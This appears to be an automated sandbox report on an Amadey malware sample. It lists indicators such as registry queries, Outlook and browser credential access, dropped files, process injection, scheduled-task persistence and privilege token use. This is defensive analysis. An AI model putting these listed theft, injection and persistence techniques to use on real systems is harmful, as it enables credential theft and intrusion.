amadey | 4fe523babbfae3a14393d7b07afbbfc13be4f5084dba9588adb38913b3527c36

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	liuyuzhen.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	nbveek.exe

Loads dropped DLL 6 IoCs

pid	Process
824	rundll32.exe
3328	rundll32.exe
5096	rundll32.exe
5096	rundll32.exe
4340	rundll32.exe
4844	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	rundll32.exe

Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4932 set thread context of 888	4932	birges.exe	92
PID 5096 set thread context of 4708	5096	rundll32.exe	158
PID 3940 set thread context of 1428	3940	updater.exe	188
PID 3940 set thread context of 2396	3940	updater.exe	192

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4792	sc.exe
2296	sc.exe
1132	sc.exe
2928	sc.exe
2480	sc.exe
2672	sc.exe
3340	sc.exe
3340	sc.exe
4480	sc.exe
4768	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
3468	824	WerFault.exe	100
3744	3328	WerFault.exe	111
1032	1620	WerFault.exe	122
3968	4844	WerFault.exe	146

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ttirrwa
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ttirrwa
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ttirrwa

Checks processor information in registry 2 TTPs 23 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1444	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe

Modifies registry class 30 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e003100000000003e564d26100054656d7000003a0009000400efbe6b557d6c3e564d262e0000000000000000000000000000000000000000000000000020a89100540065006d007000000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
784	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5028	ChromeSetup.exe
5028	ChromeSetup.exe
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
1236	ChromeSetup.exe
1236	ChromeSetup.exe
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
784	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5028	ChromeSetup.exe
1236	ChromeSetup.exe
4740	ttirrwa

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	784	Explorer.EXE
Token: SeCreatePagefilePrivilege	784	Explorer.EXE
Token: SeDebugPrivilege	396	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeShutdownPrivilege	4108	powercfg.exe
Token: SeCreatePagefilePrivilege	4108	powercfg.exe
Token: SeShutdownPrivilege	5012	powercfg.exe
Token: SeCreatePagefilePrivilege	5012	powercfg.exe
Token: SeShutdownPrivilege	2384	powercfg.exe
Token: SeCreatePagefilePrivilege	2384	powercfg.exe
Token: SeShutdownPrivilege	4312	powercfg.exe
Token: SeCreatePagefilePrivilege	4312	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3060	powershell.exe
Token: SeSecurityPrivilege	3060	powershell.exe
Token: SeTakeOwnershipPrivilege	3060	powershell.exe
Token: SeLoadDriverPrivilege	3060	powershell.exe
Token: SeSystemProfilePrivilege	3060	powershell.exe
Token: SeSystemtimePrivilege	3060	powershell.exe
Token: SeProfSingleProcessPrivilege	3060	powershell.exe
Token: SeIncBasePriorityPrivilege	3060	powershell.exe
Token: SeCreatePagefilePrivilege	3060	powershell.exe
Token: SeBackupPrivilege	3060	powershell.exe
Token: SeRestorePrivilege	3060	powershell.exe
Token: SeShutdownPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeSystemEnvironmentPrivilege	3060	powershell.exe
Token: SeRemoteShutdownPrivilege	3060	powershell.exe
Token: SeUndockPrivilege	3060	powershell.exe
Token: SeManageVolumePrivilege	3060	powershell.exe
Token: 33	3060	powershell.exe
Token: 34	3060	powershell.exe
Token: 35	3060	powershell.exe
Token: 36	3060	powershell.exe
Token: SeIncreaseQuotaPrivilege	3060	powershell.exe
Token: SeSecurityPrivilege	3060	powershell.exe
Token: SeTakeOwnershipPrivilege	3060	powershell.exe
Token: SeLoadDriverPrivilege	3060	powershell.exe
Token: SeSystemProfilePrivilege	3060	powershell.exe
Token: SeSystemtimePrivilege	3060	powershell.exe
Token: SeProfSingleProcessPrivilege	3060	powershell.exe
Token: SeIncBasePriorityPrivilege	3060	powershell.exe
Token: SeCreatePagefilePrivilege	3060	powershell.exe
Token: SeBackupPrivilege	3060	powershell.exe
Token: SeRestorePrivilege	3060	powershell.exe
Token: SeShutdownPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeSystemEnvironmentPrivilege	3060	powershell.exe
Token: SeRemoteShutdownPrivilege	3060	powershell.exe
Token: SeUndockPrivilege	3060	powershell.exe
Token: SeManageVolumePrivilege	3060	powershell.exe
Token: 33	3060	powershell.exe
Token: 34	3060	powershell.exe
Token: 35	3060	powershell.exe
Token: 36	3060	powershell.exe
Token: SeIncreaseQuotaPrivilege	3060	powershell.exe
Token: SeSecurityPrivilege	3060	powershell.exe
Token: SeTakeOwnershipPrivilege	3060	powershell.exe
Token: SeLoadDriverPrivilege	3060	powershell.exe
Token: SeSystemProfilePrivilege	3060	powershell.exe
Token: SeSystemtimePrivilege	3060	powershell.exe
Token: SeProfSingleProcessPrivilege	3060	powershell.exe
Token: SeIncBasePriorityPrivilege	3060	powershell.exe
Token: SeCreatePagefilePrivilege	3060	powershell.exe
Token: SeBackupPrivilege	3060	powershell.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
4708	rundll32.exe
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
5096	rundll32.exe
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE
784	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
784	Explorer.EXE
784	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 4968	1948	file.exe	79
PID 1948 wrote to memory of 4968	1948	file.exe	79
PID 1948 wrote to memory of 4896	1948	file.exe	80
PID 1948 wrote to memory of 4896	1948	file.exe	80
PID 1948 wrote to memory of 4896	1948	file.exe	80
